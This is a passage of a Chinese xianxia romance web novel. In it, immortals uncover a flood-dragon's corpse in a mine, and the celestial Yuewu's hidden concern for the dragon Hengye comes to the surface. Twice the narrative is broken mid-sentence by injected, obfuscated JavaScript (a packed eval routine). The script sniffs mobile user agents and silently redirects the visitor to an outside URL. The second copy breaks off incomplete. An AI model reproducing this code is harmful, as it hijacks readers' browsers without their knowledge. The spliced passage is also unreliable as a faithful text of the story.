“好。” 二人替村民修理木桌,回程走过石桥,奉言提上他的水壶,两人巡视过一圈堤岸,发现几棵枯败的老树竟抽出新芽,心情顿时不错。 天色欲晚,差不多也该回去,二人在山间小路上行走,远远看见茅屋方向一阵烟飘起来,弘岘大惊:“不会把房子给烧了吧!” 两人跑回去。没着火。天官在院子里支了口锅,正在煮汤。他的乌纱帽摘了,头发随意用发带扎着,红袍袖子用绳缚到肘弯以上,露出一截手臂。 锅里的汤翻滚着,灵植的清香混在柴火气里,弘岘不由得咽口水:“好香啊……” 奉言嗅了嗅,低声道:“是琼芽参须。” 仙灵们食谱上的最爱。 天官抬眼看了看他们,没说话,只是用勺背拂了拂汤面的浮沫。 水官贴在他身侧,抱着他另一条胳膊,盯着锅里,时不时踮一下脚,耸耸鼻子去闻那香味。 “快来!”她朝他们挥手,“有好吃的!” 弘岘没应,他盯着她看了一会儿,揉了揉眼睛:“水官大人?” 水官晃晃发髻:“咋啦?” 她原本乱糟糟的头发梳成了惊鹄髻,像小虫的触须,随着她歪头的动作轻轻晃动。青玉流云的簪子斜插在髻边。耳垂上两颗红玉小豆,衬得她皮肤光泽细腻,白得透亮。 潦草的蓑衣不见了,她换了身粉色的衣裙,层叠的裙摆像一朵倒扣的芍药,暗绣的蝴蝶随光线流转,明明灭灭。 “哦!”水官反应过来,从天官身边跑开几步,特地转了个圈。裙摆旋开,蝴蝶像活了似的扑簌簌飞起来,又落回去,“我的新衣服!是不是很好看呀!” 奉言在恭敬地行礼,点头。 弘岘直白地竖起拇指:“大人好看极了!” 水官就喜欢这样简单直白的夸奖!她哈哈大笑,回身抱住天官的腰,踮脚赏吻在他面颊。而后跑到湖边,冲水面喊珩夜的名字。 水面没动。波光一粼一粼的。 “出来呀!珩夜!”她又喊了一声,蹲下来拍了两下水,“别装没听见!” 湖心冒出一串气泡。珩夜浮上来,眼睛露出水面。水官立刻站起来,张开手臂让他看个全貌。 “看我!好不好看?”她又转了一圈,裙摆扫过岸边的碎石。 “不错,”珩夜点点头,“腰间可以再添枚玉佩。” “那不行,”水官很有自知之明,“我一下就磕碎了。” “……也是。” 水官蹲着,又嘿嘿招呼他:“你过来点。” “怎么?”珩夜游近了些。 水官看他的龙鳞,其实一点都不黯淡,但她偏要说:“你的鳞片都不亮了,月芜不给你刷鳞甲吗?” 珩夜不解:“你我仙体,又不会脏,刷什么?” “原来又是你没体会过的乐趣,哈哈,”水官笑起来,压低声音道,“悄悄告诉你,天官会给我刷鳞甲,刷鳞甲也很舒服!” 珩夜看着她。 水面很静。岸上的笑声传过来,隔着水,闷闷的。 他沉下去了。 水官等了等。气泡也没再冒一个。 “龙呢?”她叉腰,声音里带着几分真实的困惑,“喂!我没惹你啊!我说的都是实话!怎么聊着聊着跑了?” 水底暗流卷了一下,又平了。龙影已经沉到看不见的地方。 水官在岸边站了一会儿,踢了一颗小石子下去。石子在水面上跳了两跳,沉了。她嘟囔一句“真不好玩”,转身跑回天官身边。 天官舀了碗汤,吹凉一勺,递到她嘴边:“你总去渊侯面前炫耀,他该伤心了。” 她乖乖喝汤,一副不太明白的样子:“我只是告诉他刷鳞甲真的很舒服呀!以后他可以让月芜也这样对待他!” 奉言看着那口锅,又看看湖面。 弘岘得了天官吩咐,招呼奉言笑道:“感恩天官真仙,汤也有我们的份!” 只不过他们是临时做的木碗,水官是天官为她随身准备的、专属的玉碗。 天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597648|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官只待了一晚。 第二天日出时分,珩夜浮上水面,吸纳破晓时最为清澈的第一缕阳气。 茅草屋的帘幕被掀起,珩夜耳朵捕捉到轻微声响,他不动声色地转过去看。 水官紧紧抱住天官的胳膊,噘着嘴一脸不高兴,天官把她从胳膊上摘下来,圈到身前,一下一下地给她通发。 今天她穿着鹅黄色的羽衣,像尚未蜕变的小虫。 水官眼眶红红的,吸了吸鼻子:“你能不能不走?” “又说孩子气的话,”天官在她发辫尾端系上蜃虫模样的红玉铃铛,“你忘记后土娘娘的叮嘱?你要帮娘娘看好这片大地的,还记得吗?” “……可我真的好累,”水官转身扑进他怀里,“都快一万年了,娘娘到底什么时候醒过来?” 天官抱住她,亲吻她的鬓发。 水官不开心道:“我做得没有娘娘好,昭仪搞出那么大的乱子我竟然没有发现,我太笨了。娘娘为什么让我当水官?我只是一只蜃虫呀,我只想当娘娘的坐骑!” 天官扶正她瘦小的肩膀,认真道:“你做得很好。你入梦时用自己的仙力为四大部洲蕴养山川地脉,发现南赡部洲的问题也立时安排清荷探查,现在又亲自修复地脉。你帮娘娘守护下界一万年,你做得很好。” 水官闷头贴在他心口,默默地掉眼泪。 天官替她擦去,抚过她面颊:“娘娘从未把你当坐骑,娘娘把你当女儿。娘娘会给你换好看的衣裳,帮你刷鳞甲。我也会,对么?……不哭了,好不好?” 蜃不觉得坐骑和女儿有什么区别。但她知道娘娘和道侣之间的区别。 水官把眼泪蹭在他袍子上,仰起小脸:“那还是不一样的。你、你是我的道侣。娘娘就是娘娘。没有人能代替娘娘。” “嗯,没有人能代替你心中的娘娘,也没有人能代替我心中的蜃,”天官笑着亲亲她眉眼,“蜃是最坚强的。蜃是最厉害的。蜃会当好娘娘的水官,守护好娘娘最爱的人间。对么?” 水官没说话,只认真坚定地点点头。 二人难舍难分,又复接了个深长的吻,直到水官能笑着和他挥挥手了,天官才化作流光而去。 那道流光滑过天际时,湖底有一双暗金色的眼睛,静静看着它消失在云层里。 珩夜把下颌搁在前爪上。湖底的泥沙被他的呼吸吹开一小片,又缓缓沉回去。 此前他只知道,道侣是会陪伴他的人,会让那座龙宫不那么孤单,会陪他度过漫长的岁月。道侣会像青帝、西王母那样,在他困惑的时候与他论道,在他低落的时候将他点醒。 最初在龙眼中,道侣只是比其他身份更加密切的一个身份,一个更亲密的论道者。 月芜有他喜欢的模样,有他认可的道,他便因此欢喜。 他从未想过,道侣原来是这样,可以互相依偎,做一些没意义但看起来很幸福的小事;可以剖开内心的不安,肆意在对方面前落泪,得到不止言语的安抚。 他知道双修是怎么一回事,也见过仙灵之间互相梳理毛发,但他不知道“人”是如何做道侣的。 他有想用龙形将月芜卷起的欲望,知道他们是道侣未来或许会双修,但在他看来那是本能和修道。 如果他知道人做“道侣”是这样做的,或许那次在三清境大泽中,他无法拒绝那道贴近的幻影…… 龙缩紧身体,尾巴覆盖住眼睛。 有点害羞。 月芜在天刑司大殿中上值,但他没有看公文,他在看右手的戒指。 那枚戒指微微发烫,不知珩夜那边发生了什么。 奇怪的是,他并不想阻止。 不想阻止珩夜下界前故意表态的红线,不想阻止此刻持续温热的戒指。 他只是又想去练剑了……他已经练了一个月。而且现在是白天。 他无法忘记,珩夜离去时那个低落、受伤又带着点倔强的神情。 每一次练剑,那个神情都越发清晰。 但是,有很多话,他都说不出口。 于是那道神情,变成他刺向自己的剑锋。 他不想应允。 也不想拒绝。 他不想靠近。 也不想远离。 没人能告诉他,这是什么。 他只是察觉到,自己不再寂静的心湖。 19.惊蛟骨 天官走后,水官在茅屋门口枯坐,哭两回鼻子,换掉身上的衣裙,换回她潦草的蓑衣和斗笠。扛着鱼竿挎着鱼篓,一竿打在水面上: “珩夜!臭龙!快出来干活了!” 天色大亮,弘岘伸个懒腰出门来,惊讶道:“大人,您怎么不穿昨天那身衣裳?” 水官瞪他:“那衣服穿着好看,可没法干活呀!再翻两天土,这片地脉就差不多了,我们也该去下一个地方!” 珩夜从水边树林中走出来,闻言取出山川脉案看了一眼:“七仙湖连带着南边的青屏山、王母河,中间是弄巧城。” 水官凑过来踮脚扒住脉案,指着王母河说:“前几年天刑司和解厄台,将这条河附近的恶灵都清理干净了,弄巧城恢复了点人气。” “嗯,那么接下来就是青屏山,”珩夜指尖点着脉案上那个“续”字,“昨天下午我让碧水先去青屏山探查龙气是否能通过去,她今日应当会带着消息回来。” “嘿,你还挺周到,我原本也是这么想!昨天下午天官来,我就给忘了!”水官没心没肺地说着,忽然又有点脸红,瞪着珩夜说,“别以为我不知道,你今天早晨又偷看我和天官……” “没完了吗?”珩夜蹙眉打断她,转而沉着眉眼说,“湖西面的地脉还有些虬结,我带钻地使过去。” 水官被他的语气镇住,睁大了眼睛盯着他的冷漠背影,嘟囔道:“你偷看还有理了……” 弘岘挠挠头:“大人,怎么没见天官真仙?” 奉言一早去放蜃雾,这会儿刚回。 “他清早就走了……”天官走了她原本就很不高兴,珩夜竟还给她脸色看,水官立时叉腰,指着珩夜的背影大喊,“月芜不来看你关我什么事!凭什么对我发脾气!你就想着吧,你再怎么想月芜也不会来看你的!” 弘岘瞪大眼睛,着急忙慌拉住她:“大人!这生的什么气啊!可不能乱说话!” 那边珩夜离开的脚步越来越快,一会儿就不见踪影。 水官跺脚喊道:“我再也不要理你了!哼!” 说罢将鱼竿往肩上一扛:“我去南边,不和他一起走!” 留下弘岘和奉言面面相觑。 两位祖宗都走远了,弘岘看看渊侯离开的方向,长叹息,问道:“奉言大哥,您有什么法子能让掌教也下界来看看渊侯吗?” 奉言沉默着,摇摇头。 弘岘好奇起来:“对了,掌教怎么不用通信玉牌?不然还能让他俩说说话。” 奉言也叹息:“掌教不和任何人留通信玉牌。” “……这就没办法了,”弘岘抓抓脑袋,“方才水官说我们过几日就要走了,村里还有两户屋顶一户家具要补,要不要一起去?” 奉言想了想:“你先去,我去看看渊侯。” “也好,渊侯看见你心情说不定会好点。” 七仙湖西边,靠近湖畔的土地都已修整过,只剩沿着山壁的这一片。 珩夜将山壁周围的碎石清理干净,钻地使邱邱和隐隐钻入地下,疏松板结的土层,被压实的泥土重新翻松。珩夜穿着利落的束袖,衣摆别在腰带里,手中拿一把铁锹,看上去不像龙了,就像个干练的青年。 珩夜瞧见奉言扛着锄头过来,没说话,指着一处他清理好的地块,意思让他干活。 珩夜始终沉默,但他搬的山石最多。 没一会儿,邱邱使露出脑袋:“真龙大人,我们能钻到的地方都翻好了土,再深就下不去了。” 隐隐也爬出来:“山外的我和哥哥都翻好了,如果要钻进山体,要叫穿山使来才行。” 珩夜鼻音里逸出个“嗯”字。 奉言道:“二位钻地使都辛苦了,出来休息会儿,喝口水吧?” 两个少年从地下钻出,不敢离珩夜太近,但眼中孺慕之情清晰可见。 邱邱腼腆道:“不辛苦,能见真龙一眼,我和隐隐这辈子都值了!” 他们是下界出生长大的仙灵,不拘俗食,跑去喝两口湖水。 珩夜伸手抚触山壁,灵力自掌心探出,沿着山脉、森林、湖水逐一检索,感知炁的脉络。 七仙湖的龙气十分充盈干净,顺着水流一路南去。山的地势绵延向北,龙气在不远处聚集成一团。 珩夜感知片刻,拿出山川脉案对比,指着脉案上一点:“这边有一处矿脉?” 他终于说话了。奉言立时接道:“对,村民们说,山那边有一处废弃的矿洞。” “废弃的?”珩夜蹙眉,“是什么矿?开采完了吗?” “据村民说是萤石矿,之前有官府组织开采,还征集过劳役。但后来弄巧城被恶灵侵袭,这边的开采便中断了。” “难怪……” 珩夜想了想,重新将手放在山体上感知,冥冥中还是感到一种不对劲。 他眉心拧起,吩咐奉言道:“去请水官过来看看,跟她说是正事。” 奉言领命离去。 钻地使少年刚回来,一抹嘴唇上的水,邱邱问:“大人,怎么了吗?” 珩夜问:“你们钻过矿洞没有?” 邱邱诚实回答:“如果有土地,我们可以钻进去,石头就不行了。” 他刚答完,那头奉言已经回来,跟着他的还有水官和碧水玄仙。 奉言拱手复命:“正巧遇上水官和玄仙过来。” 碧水玄仙说:“我刚从青屏山回来,龙气可以通过去,但东北方向受山脉和矿脉影响,流转较为缓慢。” “青屏山东北就是七仙湖西南向,就在这座山,”水官嘟着嘴有点苦恼的样子,“我重新探过地脉,又有那种不对劲……” 珩夜立时看向她:“什么不对劲?” 水官刚想开口,突然想起她和天官、月芜的密谈。她左右瞧瞧,谨慎地闭上嘴巴,含含糊糊说:“我不告诉你!” 她又装模作样地瞪他:“我和你绝交了,不要和你说话!” 珩夜没理会她,用一截树枝在地面三两下画出山水走向,并圈出矿洞位置。 “山脉龙气汇聚于矿脉,是自然走向。但水脉的龙气绕山而过,也被矿洞吸引过去,”他抬头与水官对视,“这正常吗?” “正常呀,”水官皱皱鼻子,“龙气只是一股炁,会逸散,会流转,会被矿脉吸引,是很正常的。” “但如今补充这股炁的不是先天之炁,是我的龙之炁,”珩夜紧紧盯着她,“若我说,我觉得不正常呢?” 水官立时站直瘦小的身体:“你认真的?” 珩夜认真道:“当然。” 水官绷着小脸,神情凝重:“我们这就上山去矿洞看看。” 珩夜吩咐:“奉言,你把弘岘带回来,钻地使不一定能钻矿洞,让他回来一起干活。” “是!” 矿洞口被荒草和碎石半掩着,锈蚀的铁镐和破旧的竹筐散落一地,地上有几道模糊的车辙印,早已被雨水冲刷得看不出年月。洞壁上凿痕粗粝,立柱歪斜,洞口深处隐约透出一股湿寒的、带着腐朽气息的风。 水官在洞口站了片刻,皱起眉头:“这地方怎么这么阴冷?” 珩夜走在最前面。矿道向下倾斜,脚下的碎石被踩得咔嚓作响。两侧岩壁上渗出水珠,水滴落进深处的回声从前方传来,空洞而悠长。 一种莫名黏腻的感觉沾在鞋底,珩夜脚步顿了顿,随即加快了速度。 矿道尽头是半塌的石壁。石壁下方有一个被凿开的豁口,不大,刚好容一人通过。豁口边缘的凿痕很新,与洞壁上那些钉凿旧迹截然不同。水官蹲下来摸了摸凿痕边缘,抬头与珩夜交换了一个眼神。 珩夜侧身穿过豁口,水官紧随其后,奉言和碧水提着灯跟上,最后是两位钻地使。弘岘则留在豁口外接应。 矿道在豁口之后陡然变宽,不再是人工开凿的矿道,而是一道天然的裂隙——岩壁不再有凿痕,取而代之的是被某种力量撕裂的、参差嶙峋的断面。脚下的碎石不知什么时候变成了细沙,踩上去没有声响。 空气不再流动,死寂得像被扣在一口巨大的钟里。 珩夜停下脚步。 邱邱隐隐紧紧牵着彼此,咽了咽口水:“真龙大人……要、要我们下去看看吗?” “……不必。”珩夜环顾四周,一股奇异的气息从地下深处漫出来,有些熟悉,又分外陌生。 水官耸耸鼻尖:“这气息……怎么像是……” 她看了看珩夜,没有说出口,小脸严肃,苦恼地抠抠脑袋。 邱邱隐隐有些晕眩,甚至恐惧到无法呼吸。 水官道:“你们去外面等着吧。” 他俩立即原路退走,腿脚发软,隐隐差点摔倒,吓得哭喘一声。 珩夜触摸山壁,感知山体走势和矿脉方向,待钻地使出去后,沉声叮嘱:“站稳了。” 随即粗壮的龙尾迅疾甩出,精准地抽劈在石壁和沙土衔接处! 霎时地动山摇,一声悠长的嗡鸣像山石的痛呼——地面塌陷,形成一道不规则的深沟。 珩夜从臂骨中抽出霞天剑走在最前方,暗金色的龙瞳在昏暗中妖异又坚定。 裸露出的岩石像是被什么东西从内部顶开,断面漆黑光滑,在奉言的灯照下泛着微弱的、油脂般的反光。沟底的泥沙中半埋着什么东西——灰白色的,一节一节,从沙土中露出起伏的弧线。 珩夜剑风挥过,拂开表面的沙土。 鳞片。灰白色的鳞片,每一片都有手掌大小,边缘泛着枯败的暗银光泽。鳞片下的骨骼粗壮,呈盘旋状嵌在沙土中,断口参差不齐,不是利刃斩断的切口,更像是被什么东西从内部撑碎、撕碎。 残留的龙气从断口中丝丝缕缕地渗出,在空气中飘散不到几息就被某种力量吸走了——不是自然散逸,是流向裂隙更深处,被什么东西吞了进去。 “这是……”奉言的声音发紧,他不敢说,只能呆滞地问,“这是什么?” 水官蹲下来,伸手碰了碰那些鳞片。她的手指触到鳞面的瞬间,鳞片化成了灰。她猛地缩回手,瞪大了眼睛,猛地转头看向珩夜。 几番深呼吸她都无法平静,站起身颤着手拿出通信玉牌联系天官—— 珩夜没有说话。他俯身蹲在那些散碎的尸块旁边,亲手检查、触摸,灰白色的鳞片在他指尖下碎裂、剥落,碎成细沙一样的粉末。他垂着眼,看不清表情,但他的手很稳,拂去泥沙的动作,很轻…… 天刑司殿外传来脚步声,不急不缓。 月芜停留在桌案那道剑痕上的手不得不收回。珩夜留下的剑痕,似乎和他这个人、和他留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月芜猛地站了起来。茶盏被袍袖扫翻,“哐”一声倾倒在桌案,滚落地面炸碎一声裂响!茶汤淌过摊开的文书,洇透纸张,顺着桌沿一滴滴砸落在地砖上。 月芜没有看茶盏一眼,只一瞬便移至天官身侧,带起一阵飘飞的风。他紧紧按住几案,指节泛白。几乎同时,他右手中指上的戒指变成一道红线,径直飘向殿外! “……”月芜的声音压得极低,像被什么东西掐住了喉咙,沉得滴水,“珩夜在哪里。” 珩夜站起来,低头看着那片散碎的遗骸。沙土中露出一截完整的指骨——蛟没有龙那样五爪,只有四趾,骨节粗短,末端嵌着半片碎裂的指甲。断口处的骨质呈暗灰色,同样像是被某种力量从内部撑裂。 “不是真龙,”他终于开口,声音很低,像是在跟自己确认,“是蛟。差一步化龙的蛟。” 水官愣住了。她看看尸块,又看看珩夜手上的红线,嘴唇动了动,没能说出话来。 听见珩夜的声音,月芜按住几案的手松懈了,他撑住自己——胸口处积压窒息的凝滞终于得到释放,他深深地呼吸,伸手按了按眉心。 是蛟。 他看了眼手上的红线。红线也还在。 月芜收回袖内的手在极轻微地发抖。他不自觉。他什么都没再说。只是站在那里。 是蛟,不是龙。珩夜没事。 紧绷的肩背缓缓松弛下来。他茫然走向桌案,经过桌边的青鸾铜灯,看见那几颗夜明珠。 白日里夜明珠不会展露光芒,但他的视线还是停留在上面,一动不动。 他抬手的动作很慢,像是一瞬间被抽走了所有力气,他扶住灯台站立,明珠在他掌心留下一些温度。 月芜这才听见自己心脏跳动的声音,感知到自己的体温。 茶汤还在桌沿往下滴,一滴,又一滴。 他没有去擦,那条红线也没有收起,缭绕着,经过洇湿的文书旁边。 天官从始至终坐在客座上,茶盏端在手里忘了放下。他没有出声,只是看着月芜——看着天刑司掌教打翻茶盏,指节用力到青白,又在确认珩夜无恙后沉默着扶住灯台。 每一个细节都落在天官那双精明的眼睛里,但他什么都没说。 天官替月芜将洇湿的文书从案上移开,轻挥衣袖,将茶盏碎片扫去一旁。 玉牌尚未中断,天官声音平稳:“渊侯在你旁边吗?” “……嗯……那个……”水官终于意识到,自己方才似乎惹出了什么不得了的事情,她轻声说,“我刚刚也吓坏了……” “不怕,被模糊的气息误导而已,”天官安抚道,“你们在哪?” “嗯嗯!蛟的尸体吸了龙气,那气息杂糅得和真龙几乎一模一样,我也是慌了神才没分辨出来!我们就在七仙湖旁边的矿洞里……”水官的声音又小下去,“是我一时错判了……月芜不要怪我啊……我不是故意的。” 月芜已经恢复了冷静——至少表面上是这样。 “无妨……”月芜看了一眼那条飘向殿外的红线,停顿片刻,重新开口时声音平稳得一如往常,“我即刻向帝君申请下界,确认蛟尸是否与昭仪案有关。你们不要轻举妄动,留在原地等我。” “嗯嗯嗯,好好好!”水官巴不得这事从她身上越过去,现在气氛太奇怪了她好不适应,于是越发慌乱,口不择言,“你快来吧,正好珩夜也很想你!” “……” 月芜没再说话。 珩夜也没有。 只是他二人都看见了手腕上的红线。 一时无言。 20.月有心 玉牌通信断了,月芜沉默片刻,低声道:“我去找帝君报备,真仙稍待。” 天官再次下界,他的流程也要再走一遍,他点点头。 月芜知道自己暴露的失态意味着什么,水官那样迟钝的蜃兽都能明白,何况其他人。 但他始终没有收回手中的红线,于是东华帝君看他的神情也变得微妙。 请到了帝君的手谕,月芜快速览过,手谕内容与他申请的措辞略有不同——帝君替他加了一条理由。 帝君正经道:“南赡部洲地脉异常,恐有邪祟危及下界仙官,着你彻查蛟龙尸骸一案,并保障在凡仙僚周全。” 月芜掀睫望去。 帝君绷不住轻咳两声,意有所指:“渊侯下界,多方牵挂,有你陪他同去同归,我也好向西王母和五方帝君交代……” “……”月芜心知这是帝君给他的台阶,也明白自己放任红线的心态会被他人看穿,但他此刻只想尽快下界,他的问题只剩一个—— “天庭的公务谁来处理?”月芜平静地问。 帝君咂咂嘴,不情不愿道:“这不是,还有我呢吗?” 月芜将手谕收进袖中,行礼告退。 月芜与天官落地时,矿洞口正被夕阳的余晖笼罩。 奉言在矿洞口迎接等候,将初步勘察的记录呈给月芜。 水官难得安静地站在一旁,没有往日的嬉笑,只是在月芜接过文书时偷偷觑了一眼他的神色——什么也看不出来。她悄悄挪到天官身边,拽住他的袖子,被天官揉了揉脑袋。 月芜一目十行地扫过记录,目光在“残留龙气被不明力量吸走”一行字上停了极短的一瞬。 “掌教,”奉言恭敬道,“渊侯一直在矿洞中。” 月芜低头看一眼红线。距离越来越近,红线不再虚化,清晰地指引着方向。 月芜没说什么,径直走进矿洞。经过石壁豁口处,他脚步一顿,并指在那道豁口处抚过。 天官近前来:“有什么发现?” 水官从他后边露出个脑袋:“这道豁口是新的。” “是剑痕,不是凡人手笔。有修士或者仙人,用剑破开了这里,”月芜轻捻指尖的石屑,“看边缘碎裂的程度,是近一两年的事情。” “涉及仙人,多半和昭仪案有关,”天官思考着,疑惑道,“但昭仪始终出入于朝堂和战场,和矿洞蛟尸有什么关系……” 月芜俯身通过豁口,一道天然的裂隙中,石壁嶙峋,地面塌陷不平,霞天剑钉在蛟尸旁边,五色宝光氤氲,将裂穴微微映亮。 珩夜站在蛟尸旁,背对着他,身影有些孤单。 月芜的心脏像是被微微攥紧,停驻片刻,他看着他,把他从头到脚看了一遍——不是打量,是一种更安静的、更仔细的确认。确认他没有受伤,确认他好好站在这里。 大约是他凝视的时间太长,珩夜侧身抬眸,于是月芜的视线落在他静默如雕刻的面庞。 两个人隔着几步的距离对视。 那条红线在昏暗的裂穴中清晰艳丽,许久,终于被月芜收起,变成中指上的戒环。 月芜垂眸避开那阵长久的对视。 灰白色的鳞片在岩石上一字排开,被霞天剑镀上一层淡淡的光。 他走下去,地面潮气的细沙,踩上去没有声响。 “蛟龙的骨骼走向我已经标出来了,”珩夜低声开口,声音在裂穴中清晰回荡,“断口的撑裂痕迹从这里延伸到脊柱第三节。残留龙气流向山体裂隙更深处——但不能再挖,山会崩。我猜,那去处并非是一个实处。” 他汇报得很流畅,语气平稳,像个再称职不过的下属。 月芜看着他,没有立刻接话。珩夜的平静让他感到不安,裂穴中空气稀薄,让人胸中窒闷。 珩夜与他对视了一瞬,然后移开了视线。他指向脚边的一截趾骨:“四趾,是蛟。看趾纹的圈数,它死在化龙前夕。” 他顿了顿,话音微妙:“它不是龙。” 月芜也停顿片刻,才说:“我知道。” 珩夜的动作停了一下,他“嗯”一声,退开半步,把尸体旁边的位置让给月芜。 直到此时,天官才带着水官进入裂穴。 天官检查过后,得到和珩夜同样的结论:“虺五百年为蛟,蛟突破为角龙。化龙不易,尤其下界清浊不分,这条蛟天资非常,可惜殒命。” 水官想不通:“可是南赡部洲灵气稀薄,只有不到百年寿数的凡人,没有修士,更没有仙灵。那道豁口是谁劈开的,这条蛟又是哪来的呢?” 月芜走上前。他蹲下身,用仙力探入断口的骨质纹理。天官在他身侧站定,水官跟在后面,难得没有出声打扰。奉言提着灯调整角度,将光线聚在月芜手边。 沉默持续了片刻。 “断口处的撑裂力量来自尸体内部,”月芜收回仙力,站起来,声音冷静得一如在天刑司殿中批阅公文,“不是外力斩断,是从内向外撑碎。蛟龙死后被什么东西利用了——尸体内部曾有另一个东西在生长。” 水官倒牙嘶一声,天官蹙眉:“什么东西?” “还不知。”月芜取霜骸剑剖开蛟尸腹部的碎肉,一股恶臭弥漫,水官死死捂住鼻子,天官和奉言掩袖,珩夜感受到一种复杂的、微妙的震动,心中怅然,偏头不愿再看。 月芜神情淡定,素手如玉,翻找片刻,取出一小截莹润脊骨:“在这里。” “上面有一个符文法诀,”他凝眸检查,脸色微沉,“像上古之物,我认不出。” 天官封闭嗅觉,伸手道:“我看看。” 他与水官一同查看,私语窃窃分析片刻。 月芜取出一枚封存用的玉符,将蛟龙尸体连同周围的沙土一并封印入内。玉符在他掌心亮了一息,旋即黯淡。 霜骸剑中流出一道妙法金光,将裂穴中腐臭的气息尽数卷入剑内,剑身中金光流转如焰,片刻消弭。 水官摇头道:“我认不出。” 天官面沉如水,在月芜的注视下缓缓摇了摇头。 天官猜测:“昭仪七千岁,前几千年生活在三清境西脉金乌族裔,会不会是从三清境得来的法诀?” 闻言,珩夜上前也检查一遍,沉吟:“我从未在三清境见过。” “昭仪资质有限,怕是学不会这个,”月芜平静道,“虽然看不出是什么法诀,但上面气息流转,大概是引导龙气流失的东西。” 珩夜龙瞳翻出,那双暗金色的瞳孔变成竖瞳,妙法显现,虚空中一道道金色的因果牵连羁绊。法诀上的因果隐隐绰绰,通向山体深处,与龙气流失果然是同个方向。 “无妨,”月芜将骨头收起,他顿了顿,神情微妙,“我知道可以问谁。” 天官道:“此事非同寻常,那蛟尸只有一截,应当还有其他尸块,埋在南赡部洲其他地方。” “找出这些尸体,南赡部洲地脉龙气的异常多半迎刃可解,”月芜想起帝君的手谕,“奉帝君之命,我会在下界待一段时间,直到这事解决。” 天官看看他又看看珩夜,温和笑道:“好说。我回去复命。” “明日,”月芜看向水官,意有所指,“还有些事要做。” 天官沉吟,点了点头。 一行人走出矿洞,清洁法诀兜头套下几个,神清气爽。 夜 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“……自天官说一个月后下界,水官便每日倒数,三天、两天、一天,每每这个时候,渊侯总会避而不见。” “天官下界后,水官换了新的衣裙,请渊侯品鉴,还探讨过仙灵虽然仙体无垢,但刷鳞甲很舒服。” “今晨天官离去后,水官与渊侯发生口角,渊侯心情不佳,独自清理山石……” 月芜望着窗外失神,听到这里微微收拢心绪,低声问:“水官说了什么?” “水官说……”奉言顿了顿,“说您绝无可能下界看望渊侯。” “……”可他这不是,来了吗? “这一个月清理地脉,”月芜看向窗外那个背影,“渊侯表现如何?” 奉言诚实道:“一个月来渊侯沉默寡言。小仙猜想,渊侯最初是不太喜欢下界的,大概排斥下界清浊混沌。近十天,湖水逐渐清澈,水官整日念叨天官,渊侯便时常化龙盘踞水中,不大上岸。不过小仙观察到,有一日溪谷灌丛中的迎春花开了,渊侯很是高兴,时常去那边小憩。” “……嗯。”月芜心中说不清是什么感觉,他想知道的,或许不止这些。 “沉默寡言”……如何能用来形容这条小龙?毕竟珩夜在他面前,向来话多。 可是,透过茅屋的窗户,珩夜形单影只地站在湖边,看上去确实符合“沉默寡言”四字。 忽而,那道身影转过来,遥遥与他对视。 月芜微微一怔,搭在窗棂上的手微微握紧。 片刻后,珩夜抬步向月芜走来。 “……”月芜垂眸道,“你做得很好,先下去吧。” 奉言沉默地一拱手,将空间留给他二人。 天官水官不知何时,已不在小院中。 珩夜缓步走到门前,隔着帘幕低声问:“月芜,我想与你说说话,可以吗?” 一时间,月芜竟觉得有几分紧张。 珩夜身形高大,而茅屋又太小,他怕他一进来就逼仄,正如他缩紧的心室。 月芜撩开门帘,没有看他:“走吧。去湖边走走。” 珩夜沉默地跟随。 人间芳菲始盛开。空气中带着水泽的清润,微飔轻轻拨弄草芽,湖上薄雾如轻纱,一只流飞的白蝶经过灌丛,纤弱的鳞翅上闪动着皎洁的月光。 一片不算开阔的湖滩,掩映在树影中。 月色泼洒在石滩上。月芜回眸,看见珩夜踌躇着的小心翼翼。 他似乎酝酿了很久,忍耐了很久,犹豫了很久,终于还是轻声开口,问他:“你那时,是担心我的,是吗?” 21.扣指隙 “你那时,是担心我的,是吗?” 月芜看见珩夜的神情,看见他带着一丝迫切,又带着不敢询问的小心。 月芜不想回答。他以为,以珩夜的聪慧,应当知道答案。 那么,为何一定要他回答?为何一定要他说出口呢? 他的失态、那根红线,已经是他能表达的极限了。天官、水官、东华帝君,甚至奉言、弘岘,他们都明白,难道珩夜竟然不明白吗? 月芜没有说话。 于是珩夜越发迫切,那份小心也变成心碎的前兆。 他向前一步,追问:“那你这个月,这些天,有没有片刻……想起我?” 他清晰听见自己问出口的字句,那么轻、那么碎,说给他不敢触碰的梦幻。他甚至恍惚,怀疑月芜的下界是否蜃兽喷吐的云烟,是否一场虚幻的蜃梦,为了看他此刻弱小低伏的姿态? 珩夜紧紧观察着月芜的神情,企图从他垂眸的沉默中看出一分一厘的不自在。 但没有。 月芜连续练了一个月的剑,每天晚上,他都在剑光中看见那个离去的背影。迟钝如他,也该知道,这个问题他已经不需要思考就能得出答案。 他只是不敢将答案说出。 他不知道这份感情会延续到哪里,他不知道如何面对“天命”捆绑的这条红线,他害怕违背自己的“道”。他渴望珩夜的“不离去”,又害怕更进一步的距离。他害怕失控,偏偏事态正在逐步失控。他控制不了自己的想念,但他控制住了自己的嘴巴。 月芜没有说话。只是他也开始怀疑,觉得这样的自己多少有些荒诞。 珩夜的迫切在沉默中发酵,逐渐变成一种自嘲的伤怀。 “你不喜欢我,是吗?”他只是淡淡地问,但仍旧难以控制地面色微红。或许他还有期待。 “……”月芜垂下眼睛。 他没有不喜欢他,甚至没有不喜欢他送来的糕点。他只是无法控制那时心中陡然出现的排斥和厌恶。他不喜欢的,大约只有他自己。 但这太脆弱了。他不想暴露自己任何的脆弱,珩夜却一直逼近。 长久的沉默。 珩夜觉得自己好像落入无底的深渊,不知何时才能有个了断。 这种沉默过于难耐。 